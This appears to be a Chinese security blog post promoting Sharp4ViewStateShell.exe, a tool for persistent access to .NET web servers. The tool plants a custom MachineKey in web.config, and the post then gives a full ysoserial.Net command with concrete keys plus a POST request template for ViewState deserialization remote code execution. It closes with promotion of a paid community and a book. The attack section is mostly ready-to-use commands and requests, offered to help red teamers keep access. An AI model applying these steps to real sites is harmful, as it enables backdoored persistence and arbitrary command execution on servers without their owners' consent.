基于反序列化漏洞,通过 Sharp4ViewStateShell 执行命令实现权限维持
基于反序列化漏洞,通过 Sharp4ViewStateShell 执行命令实现权限维持
原创 专攻.NET安全的 dotNet安全矩阵 2025-06-06 02:37
在红队中持久化访问权限是关键环节之一,Sharp4ViewStateShell.exe
是一款专门为.NET Web站点设计的权限维持工具,其核心思想是通过配置自定义的 MachineKey
,结合 .NET 的 ViewState 反序列化漏洞,实现远程命令执行并维持访问权限。本文将详细讲解该工具的使用方式及其利用链流程,帮助红队人员快速完成权限维持操作。
01. 工具基本介绍
Sharp4ViewStateShell.exe自动修改 .NET 的 web.config
文件,插入自定义 MachineKey
,用于后续利用 ViewState 反序列化漏洞实现远程命令执行。
02. 工具实战用法
一键运行 Sharp4ViewStateShell.exe
修改目标站点的 web.config,直接运行 Sharp4ViewStateShell.exe,无需任何参数。
Sharp4ViewStateShell.exe
执行后,该工具会自动为站点插入 MachineKey 配置项,如下图所示。
接着,访问目标页面单个 aspx页面
,使用浏览器开发者工具或 Burp Suite 抓包工具,找到页面源码中类似如下内容:
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR"value="DBC4925F"/>
随
后,使用 ysoserial.Net
构造带有命令执行,比如 tasklist 的ViewState负载,命令如下所示。
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "./ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll;./dlls/Microsoft.AspNet.FriendlyUrls.dll" \--validationalg="SHA1" \--validationkey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F" \--decryptionalg="AES" \--decryptionkey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6" \--generator="DBC4925F"
执行后将输出一个经过Base64编码的 __VIEWSTATE
值,如下图所示。
最后,构造如下 POST 请求,并将上一步生成的 ViewState 值粘贴到 __VIEWSTATE
参数中:
POST /ViewState.aspx HTTP/1.1Host:localhostPragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) Chrome/137.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length:9337form1_r=0.7834879954225045&form1_t=1734416003580&form1_d=1734416071170&form1_e=2&__VIEWSTATE=【此处粘贴生成的ViewState】
将该请求发送到 ViewState.aspx
页面,成功后页面响应可能包含命令执行结果,tasklist 命令已被成功执行,实现远程RCE,如下图所示。
综上,Sharp4ViewStateShell.exe
利用了 .NET 的 ViewState 反序列化机制配合自定义 MachineKey,实现持久化远程命令执行,非常适合在红队渗透中用于权限维持。
文章涉及的工
具已
打包在星球,感兴趣的朋友可以加入自取。
03.NET安全扩展学习
以上相关的知识点已收录于
新书《.NET安全攻防指南》,全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。
上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。
04. 技术精华内容
从漏洞分析到安全攻防,我们涵盖了 .NET 安全各个关键方面,为您呈现最新、最全面的 .NET 安全知识,下面是公众号发布的精华文章集合,推荐大伙阅读!
05. 加入安全社区
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最专业的技术知识库之一,超 1200+
成员一起互动学习。星球主题数量近 600+
,精华主题
230+
,PDF文档和压缩包
300+
。从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的实战指南和最佳实践。
20+专栏文章
星球文化始终认为授人以鱼不如授人以渔!星球整理出20+
个专题栏目涵盖 .NET安全 点、线、面、体等知识范围
,助力师傅们实战攻防!其中主题包括.NET 内网攻防、漏洞分析、内存马、代码审计、预编译、反序列化、WebShell免杀、命令执行、工具库等等。
海量资源和工具
截至当前,dot.Net安全矩阵星球社区汇聚了
600+
个实用工具和高质量PDF学习资料。这些资源涵盖了攻防对抗的各个方面,在实战中能够发挥显著作用,为对抗突破提供强有力的支持。
专属成员交流群
我们还有多个成员专属的
内部星球陪伴群
,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。
已入驻的大咖们
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多
高质量的.NET安全资源
,可以说市面上很少见,都是干货。
欢迎加入我们
dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。
星球门票后期价格随着内容和质量的不断沉淀会适当提高,因此越早加入越好!